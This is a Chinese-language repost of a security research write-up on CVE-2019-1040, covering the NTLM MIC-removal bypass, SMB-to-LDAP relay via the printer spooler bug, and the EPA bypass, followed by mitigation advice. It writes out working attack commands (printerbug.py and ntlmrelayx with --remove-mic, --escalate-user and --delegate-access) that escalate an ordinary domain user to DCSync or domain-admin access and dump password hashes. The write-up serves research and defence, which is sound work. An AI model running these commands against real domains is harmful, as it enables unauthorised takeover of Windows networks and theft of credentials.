??0x00 ?前言

??? ??在本周之前，微軟發布了針對CVE-2019-1040的補丁，這是一個允許繞過NTLM身份驗證中繼攻擊的漏洞。這個漏洞是由Marina Simakov和Yaron Zinar（以及微軟咨詢公司的其他幾位成員）發現的，他們在這里發表了一篇關于該漏洞的漏洞細節。該漏洞允許繞過NTLM身份驗證中的消息完整性。然而，如果與Lee Christensen發現的打印機Bug以及我自己的一些研究相結合，這些研究是建立在Elad Shamir的Kerberos研究基礎之上，那么它的影響是相當大的。利用這些漏洞的組合，可以將SMB身份驗證中繼到LDAP。這允許在任何未打補丁的Windows服務器或工作站（甚至是位于不同Active Directory林中的服務器或工作站）上以SYSTEM身份執行遠程代碼，并通過任何未打補丁的Exchange服務器上可以將普通用戶權限立即升級到域管理員（除非域中的Exchange權限減少）權限。

?0x01 ?攻擊方法

1.將SMB中繼到LDAP?

? ? ? ? ?正如我以前在關于PrivExchange的博客中所討論的那樣，在過去一年中不同的人所做的研究，使我們距離控制Active Directory中的任何計算機權限只有一步之遙。如果您可以欺騙Windows服務器（如Exchange）與你進行身份驗證，并通過LDAP將該身份驗證中繼到域控制器，那么可以使用被中繼受害者的權限在Active Directory中執行操作。在有Exchange的情況下，這會導致足夠高的權限授予自己dcsync權限，這也是priveExchange漏洞的問題。或者，通過濫用基于資源的受約束的Kerberos委托，可以在受害者服務器上授予攻擊者模擬權限，這將導致在該服務器上擁有管理員訪問權限（在我發布的最不好的帖子中有描述）。然而，問題在于，由于NTLM協議的工作方式，（或多或少偶然）無法將SMB流量中繼到LDAP，因為這些標志將觸發LDAP簽名。這就阻止了由于濫用SpoolService錯誤而在SMB上觸發的身份驗證產生更多的影響.CVE-2019-1040漏洞可以修改NTLM身份驗證數據包而不會使身份驗證失效，從而使攻擊者能夠刪除阻止從SMB中繼到LDAP的標志。因為Active Directory已處于非常危險的狀態（遠離控制任何主機的一個漏洞），所以這個漏洞是使用spoolservice bug/功能來攻擊任何系統的最后一個難題。這甚至可以跨林信任，因為SpoolService錯誤的唯一要求是任何經過身份驗證的帳戶。

2.攻擊

目前我已準備了兩種攻擊途徑： ?

• 使用任何AD帳戶，通過SMB連接到受害者Exchange服務器，并觸發SpoolService錯誤。攻擊者服務器將通過SMB與您重新連接，可以使用修改后的ntlmrelayx來中繼到LDAP。使用中繼的LDAP身份驗證，向攻擊者帳戶授予dcsync權限。攻擊者帳戶現在可以使用DCSync轉儲AD中的所有密碼哈希值。
• 使用任何AD帳戶，通過SMB連接到受害者服務器，并觸發SpoolService錯誤。?攻擊者服務器將通過SMB與您重新連接，可以使用修改后的ntlmrelayx中繼到LDAP。 使用中繼的LDAP身份驗證，在受害者服務器上，將基于資源約束委派的權限授予攻擊者控制下的計算機帳戶。 攻擊者現在可以以受害者服務器上的任何用戶權限進行身份驗證

關于這一點，有幾個注意事項：

• 在第一次攻擊中，Exchange服務器可以是任何版本（包括為PrivExchange已打補丁的版本）。唯一的要求是，在以共享權限或RBAC模式安裝時，Exchange默認情況下具有高權限。在2019年2月12日之后安裝的新Exchange部署，或者手動更新以減少此Microsoft博客中建議的安裝方法而不易受到攻擊（但仍可能受到第二次攻擊）。
• 在第二次攻擊中，服務器可以是任何未打補丁的Windows Server或工作站，包括域控制器。在以域控制器為目標時，至少需要一個易受攻擊的域控制器來中繼身份驗證，同時在另一個域控制器上觸發SpoolService錯誤（理論上可能會中繼到同一主機，因為我們可以更改NTLM身份驗證，我沒有對此進行研究過）。
• 第二次攻擊需要控制計算機帳戶。這可能是攻擊者從中獲取密碼的計算機帳戶，因為他們已經是工作站上的管理員，或者是攻擊者創建的計算機帳戶，濫用了Active Directory中的任何帳戶都可以默認創建這些帳戶

2.1 攻擊1 - Exchange上執行（再次）

在第一次攻擊中，我們使用SpoolService 打印機錯誤來攻擊Exchange服務器，并使用ntlmrelayx進行中繼。可以使用krbrelayx repo中的printerbug.py，也可以使用dementor或原始的.NET代碼

python printerbug.py testsegment.local/testuser@s2012exc.testsegment.local <attacker ip/hostname>

? 這將使Exchange服務器連接到我們：

在使用Ntlmrelayx時，我們可以看到它的--remove mic標志：

ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support

這授予我們的用戶DCSync權限，我們可以使用它來轉儲所有密碼哈希值：

2.2 攻擊2 - Kerberos委派?

第二次攻擊主要是我之前博客中描述的過程。 ?

我們使用--remove-mic和--delegate-accessflags?，啟動ntlmrelayx.py，并通過tls（ldaps）將其中繼到ldap，以便能夠創建新的計算機帳戶（我們還可以中繼到普通ldap，但隨后必須升級現有的計算機帳戶）?

ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support

然后針對輔助域控制器，再次運行printerbug.py腳本（我知道它在rlt-app-server下調用，但這是我在實驗室中提升為DC的服務器）：

? 這使我們獲得一個中繼連接，創建了一個計算機帳戶

我們可以使用它來模擬域管理員帳戶： ?

我們可以使用這個模擬的票據直接對這個DC運行secretsdump并獲取所有哈希值：

?0x02 ?技巧 - 繞過森林

如果在完全不同（受信任）的Active Directory林中的用戶，我們可以在relaytest.local域中執行完全相同的攻擊，因為任何經過身份驗證的用戶都可以觸發spoolservice?反向連接。因此，我建立了一個從relaytest.local到domainb.local的單向傳出林信任（這意味著domainb的用戶可以在relaytest林/域中進行身份驗證）。這同樣適用于雙向信任

?

我們運行相同的命令，但現在觸發來自domainb的用戶的打印機錯誤：

我們看到了同樣的結果：

?

0x03 ?刪除MIC 標志 (CVE-2019-1040)

我已經更新了ntlmrelayx（impacket的一部分），使其具有一個--remove-mic標志，它是基于CVE-2019-1040的漏洞技術研究。?

1.背景

正如我們在最近的安全通報中所宣布的那樣，Preempt的研究人員發現了如何在NTLM身份驗證上繞過MIC（消息完整性代碼）保護，以及修改NTLM消息流中的任何字段，包括簽名要求。此繞過允許攻擊者將已經協商簽名的身份驗證嘗試中繼到另一臺服務器上，同時完全刪除簽名要求。所有不強制簽名的服務器都容易受到攻擊

NTLM中繼是對Active Directory環境最常見的攻擊之一。針對這種攻擊技術最顯著的緩解措施是服務器簽名。但是，默認情況下，只有域控制器強制執行SMB簽名，這在許多情況下會使其他敏感服務器容易受到攻擊。但是，為了攻擊這樣的服務器，攻擊者需要捕獲一個不協商簽名的NTLM協商字段，在HTTP中是這樣，但在SMB中不是這種情況，默認情況下，如果雙方都支持簽名，則必須對會話進行簽名。為了確保NTLM協商階段不被攻擊者篡改，Microsoft在最終的NTLM身份驗證消息中添加了一個附加字段--MIC。然而，我們發現，在微軟最新的安全補丁之前，這個字段是無用的，它啟用了所有最需要的中繼場景——從SMB到SMB的中繼

2.會話簽名

當用戶通過NTLM對目標進行身份驗證時，他們可能容易受到中繼攻擊。為了保護服務器免受此類攻擊，Microsoft引入了各種緩解措施，其中最重要的是會話簽名。當用戶針對服務器建立簽名會話時，由于無法檢索所需的會話密鑰，攻擊者無法劫持會話。在SMB中，通過在NTLM_NEGOTIATE消息中設置“NTLMSSP_NEGOTIATE_SIGN”標志來協商會話簽名。客戶端行為由多個組策略（“Microsoft網絡客戶端：數字簽名通信”）來決定，默認配置是為其設置有問題的標志。如果攻擊者試圖中繼這樣的NTLM身份驗證，他們將需要確保不協商簽名。這樣做的一種方法是中繼到協議，其中NTLM消息不控制會話完整性，例如LDAPS或HTTPS。但是，這些協議并非在每臺計算機上都被打開的，而是在所有Windows計算機上默認啟用的SMB，在許多情況下，它允許遠程執行代碼。因此，NTLM中繼攻擊的技巧在于將SMB身份驗證請求中繼到其他SMB服務器。為了成功執行此類NTLM中繼，攻擊者需要修改NTLM_NEGOTIATE消息并取消設置“NTLMSSP_NEGOTIATE_SIGN”標志。但是，在新的NTLM版本中，可以防止這種被修改的保護 - MIC覆蓋

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?NTLM_NEGOTIATE消息指示是否協商SMB簽名 ??

3.MIC概述

NTLM身份驗證由3種消息類型組成：NTLM_NEGOTIATE，NTLM_CHALLENGE，NTLM_AUTHENTICATE。為了確保消息在傳輸過程中不會被惡意者進行篡改，在NTLM_AUTHENTICATE身份驗證消息中添加了一個額外的MIC（消息完整性代碼）字段。MIC是使用會話密鑰應用于所有3條NTLM消息的串聯的HMAC_MD5，該會話密鑰僅對啟動認證的帳戶和目標服務器是已知的。因此，試圖篡改其中一條消息的攻擊者（例如，修改簽名協商）將無法生成相應的MIC，這將導致攻擊失敗。

?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? “MIC”字段可防止NTLM消息修改

MIC的存在在NTLM_AUTHENTICATE消息的'msvAvFlag'字段中（標志0x2表示該消息包括MIC），它應完全保護服務器免受試圖刪除MIC并執行NTLM中繼的攻擊者的攻擊。但是，我們發現Microsoft服務器不利用此保護機制，并且允許未簽名（無MIC））NTLM_AUTHENTICATE消息。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 'flags'字段指示NTLM_AUTHENTICATE消息包括MIC ?

4.刪除MIC

我們發現所有NTLM身份驗證請求都容易受到中繼攻擊，無論哪個協議承載這些請求。如果協商請求包含簽名要求，攻擊者需要執行以下操作才能繞過MIC的保護： ?

• 取消設置NTLM_NEGOTIATE消息中的簽名標志（NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN） ?
• 從NTLM_AUTHENTICATE消息中刪除MIC?
• 從NTLM_AUTHENTICATE消息中刪除版本字段（刪除MIC字段而不刪除版本字段將導致錯誤）
• 在NTLM_AUTHENTICATE消息中取消設置以下標志：NTLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION。

我們認為這是一個嚴重的攻擊向量，它打破了MIC以任何方式保護NTLM身份驗證的誤解。我們認為問題在于，接受具有“msvAvFlag”值的認證的目標服務器實際上沒有驗證該字段的存在。這使得所有不強制執行服務器簽名的服務器（在大多數組織中，這意味著絕大多數服務器，因為默認情況下只有域控制器強制執行SMB簽名）都容易受到NTLM中繼攻擊。 ?

此攻擊不僅允許攻擊者繞過會話簽名協商，而且還使組織容易受到更復雜的中繼攻擊，這些中繼攻擊操縱傳輸中的NTLM消息以繞過各種安全設置，例如EPA（增強的身份驗證保護）。有關此攻擊的更多詳細信息，請參閱以下博客。?

為了真正保護您的服務器免受NTLM中繼攻擊，請在所有服務器上強制執行簽名。如果此類配置對您的環境過于嚴格，請嘗試在盡可能多的敏感服務器上配置此設置。

Microsoft已發布以下修復程序：https：??//portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040?

?

0x04 繞過EPA攻擊支持Windows集成身份驗證Web服務器

正如我們最近的安全通報中所宣布的那樣，Preempt的研究人員發現了如何繞過增強的身份驗證保護（EPA）機制，成功地在任何支持WIA（Windows集成身份驗證）的服務器上通過TLS發起NTLM中繼攻擊。

攻擊者可以使用此攻擊技術攻擊關鍵服務器，例如：

Exchange（OWA） - 對郵件服務器執行NTLM中繼到郵件服務器并竊取用戶電子郵件? ?

Active Directory聯合身份驗證服務（AD-FS） -?執行到HTTPS會話的NTLM中繼，并模擬云資源上的用戶

Active Directory - 對LDAPS執行NTLM中繼,并使用惡意設置配置目錄。

可以在所有Windows版本上利用此漏洞。Preempt尚未發現任何緩解措施。

1. EPA - 背景

NTLM中繼是對Active Directory環境最常見的攻擊之一。微軟提供了兩種抵御NTLM中繼攻擊的技術?， 一種是服務器簽名，主要用于SMB和DCE/RPC，另一種是通道綁定，也稱為EPA。EPA是一種機制，可確保通過TLS通道發送的所有數據包都由知道客戶端密鑰的一方發送（在NTLM情況下，NT是哈希）。這是通過將Windows身份驗證過程與TLS會話綁定來實現的，方法是要求客戶端使用GSSAPI安全性簽署服務器證書的派生版本。在NTLM中，這是通過在NTLM_AUTHENTICATE消息中添加特定的通道綁定AV對來實現的。由于整個AV對結構都是在NTProofStr中簽名的，攻擊者無法在不知道用戶的NT哈希的情況下來修改它。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 帶有通道綁定的NTLM_AUTHENTICATE消息??

2. EPA bypass

在另一項發現中，Preempt研究人員找到了一種從NTLM身份驗證中刪除消息完整性代碼（MIC）的方法。當MIC別刪除時，攻擊者可以篡改NTLMSSP_CHALLENGE消息。如何利用這些呢？

NTLMSSP_CHALLENGE消息包含TargetInfo字段，NTLM客戶端通常回顯TargetInfo中的所有AV對，并將這些AV對包含在NTLMSSP_AUTHENTICATE消息中的AV對中。這意味著任何攻擊者（可以修改NTLM消息）都可以發送帶有自己選擇的通道綁定的惡意NTLM_CHALLENGE，以攻擊受EPA保護的任何服務器。

?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?帶有通道綁定元素的惡意NTLM_CHALLENGE消息

我們認為這是一種嚴重的攻擊手段，因為EPA實際上是保護關鍵服務器（如AD-FS或OWA）的唯一防線。在許多組織中，網絡中占用空間較小的攻擊者很可能會使用戶通過NTLM進行身份驗證并傳遞其憑據。事實上，由于AD-FS和OWA經常對互聯網開放，在某些情況下，攻擊者只需發送惡意電子郵件（例如，所描繪的攻擊在這里），就可以在沒有受感染的機器的情況下攻擊這些服務器。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?帶有植入通道綁定的NTLM_AUTHENTICATE消息??

0x05?防御和緩解措施

重要的是要了解補丁是不夠的。為了完全保護您的服務器免受這些類型的NTLM中繼攻擊，您需要首先在所有服務器上強制執行通道綁定。此任務可能被證明是困難的，因為這需要在每個服務器上完成（沒有管理此功能的組策略）。此外，此漏洞可用于針對域控制器發起LDAPS中繼攻擊，類似于2017年Preempt發現的攻擊。要防止LDAPS中繼攻擊，必須在所有域控制器上強制執行通道綁定

通過濫用CVE-2019-1040，我們可以使用協議弱點和默認設置的組合來控制任何易受攻擊的Windows主機。最重要的緩解措施是盡快安裝2019年6月的匯總補丁。

除此之外，如果您還沒有這樣做，請按照PrivExchange博客（已發布更新部分）中所說的那樣：降低Exchange的權限。

您可以通過在TLS上為LDAP強制LDAP簽名和LDAP通道綁定來阻止NTLM中繼到LDAP。然而，正如另一個博客中所描述的那樣，當沒有安裝此問題的補丁時，也可能被繞過通道綁定

為防止攻擊者觸發SpoolService錯誤，您可以選擇禁用Printer Spooler服務。另一種緩解方法是阻止主機上445端口的出站流量，或確保防火墻規則過濾來阻止服務器連接到客戶端范圍并盡可能地隔離各個客戶端。一般來說，擁有精細分的分段網絡是一項重要的防御措施。

總而言之，請記住，即使安裝所有可用的補丁程序，您仍然可以將SMB從中繼到LDAP，除非您應用進一步的縱深防御措施，否則它只是在等待下一個不可避免的NTLM攻擊

0x06 ?其他

POC代碼暫時出現在我的個人GitHub上，直到它被合并到impacket：https://github.com/dirkjanm/impacket/tree/micremove中。這實現了SMB和LDAP（s）中繼客戶端中的MIC刪除。

?

轉載于:https://www.cnblogs.com/backlion/p/11025119.html

總結

以上是生活随笔為你收集整理的利用CVE-2019-1040 - 结合RCE和Domain Admin的中继漏洞的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。